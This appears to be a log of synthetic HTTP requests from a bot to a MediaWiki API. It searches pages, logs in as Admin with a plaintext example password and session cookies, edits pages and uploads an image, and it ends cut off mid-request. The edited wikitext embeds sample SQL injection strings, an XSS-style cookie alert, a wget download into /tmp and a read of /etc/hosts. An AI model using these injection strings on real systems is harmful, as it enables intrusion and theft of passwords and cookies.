{"method": "GET", "target": "/api.php?action=query&titles=Python3+notes&prop=revisions%7Cinfo&rvprop=content%7Ctimestamp&rvslots=main&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=parse&page=Python3+notes&prop=text%7Csections&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=backlinks&bltitle=Python3+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=exturlusage&euquery=example.com%2Fpython3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=prefixsearch&gpssearch=python3&prop=pageimages%7Cdescription&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/page?q=python3&limit=10", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Python3_notes", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Python3_notes/history", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=opensearch&search=powershell&limit=10&namespace=0&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=search&srsearch=powershell&srlimit=20&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=prefixsearch&pssearch=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&apfrom=powershell&apprefix=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&aiprefix=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allusers&auprefix=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&titles=Powershell+notes&prop=revisions%7Cinfo&rvprop=content%7Ctimestamp&rvslots=main&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=parse&page=Powershell+notes&prop=text%7Csections&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=backlinks&bltitle=Powershell+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=exturlusage&euquery=example.com%2Fpowershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=prefixsearch&gpssearch=powershell&prop=pageimages%7Cdescription&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/page?q=powershell&limit=10", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Powershell_notes", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Powershell_notes/history", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=opensearch&search=ls+-la&limit=10&namespace=0&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=search&srsearch=ls+-la&srlimit=20&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=prefixsearch&pssearch=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&apfrom=ls+-la&apprefix=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&aiprefix=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allusers&auprefix=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&titles=Ls+-la+notes&prop=revisions%7Cinfo&rvprop=content%7Ctimestamp&rvslots=main&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=parse&page=Ls+-la+notes&prop=text%7Csections&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=backlinks&bltitle=Ls+-la+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=exturlusage&euquery=example.com%2Fls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=prefixsearch&gpssearch=ls+-la&prop=pageimages%7Cdescription&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/page?q=ls+-la&limit=10", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Ls_-la_notes", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Ls_-la_notes/history", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=opensearch&search=.htaccess&limit=10&namespace=0&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=search&srsearch=.htaccess&srlimit=20&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=prefixsearch&pssearch=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&apfrom=.htaccess&apprefix=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&aiprefix=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allusers&auprefix=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&titles=.htaccess+notes&prop=revisions%7Cinfo&rvprop=content%7Ctimestamp&rvslots=main&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=parse&page=.htaccess+notes&prop=text%7Csections&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=backlinks&bltitle=.htaccess+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=exturlusage&euquery=example.com%2F.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=prefixsearch&gpssearch=.htaccess&prop=pageimages%7Cdescription&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/page?q=.htaccess&limit=10", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/.htaccess_notes", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/.htaccess_notes/history", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=usercontribs&ucuser=Admin&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=recentchanges&rcprop=title%7Cuser%7Ccomment&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&meta=siteinfo&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&type=login&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 189", "Host: example.com", "Cookie: my_wiki_session=vi74m7k2rob8ksr0947hnvb80259kg94", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=clientlogin&username=Admin&password=Example-pass-2026&loginreturnurl=http%3A%2F%2Fexample.com%2F&logintoken=e62ac171de98ca0ccac8d8b9829521566af226a3%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1599", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=parse&title=Api+Lighthouse+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&contentmodel=wikitext&pst=1&prop=text&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1676", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+Lighthouse+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&summary=Notes+on+Lighthouse%2C+python3%2C+ls+-la+and+.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 167", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=2%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+Lighthouse+notes&appendtext=%0A%2A+Lighthouse&summary=Lighthouse&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1092", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=4%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: multipart/form-data; boundary=227e8770d4f741858b7fffb5f9d306c4"], "body": "--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"filename\"\r\n\r\nApi Lighthouse.png\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"comment\"\r\n\r\nPicture of Lighthouse\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"text\"\r\n\r\nAbout Lighthouse and .htaccess\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"ignorewarnings\"\r\n\r\n1\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"token\"\r\n\r\n2784a88a79a632f564ea8dddf4913c046af226a3+\\\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\njson\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"formatversion\"\r\n\r\n2\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Api Lighthouse.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffdLighthouse\r\n--227e8770d4f741858b7fffb5f9d306c4--\r\n"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&type=watch&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=6%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 121", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=6%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=watch&titles=Api+Lighthouse+notes&token=882a46e87f44097de0925d3b78c26c766af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1596", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=8%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=parse&title=Api+python3+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&contentmodel=wikitext&pst=1&prop=text&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1670", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=8%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+python3+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&summary=Notes+on+python3%2C+python3%2C+ls+-la+and+.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&f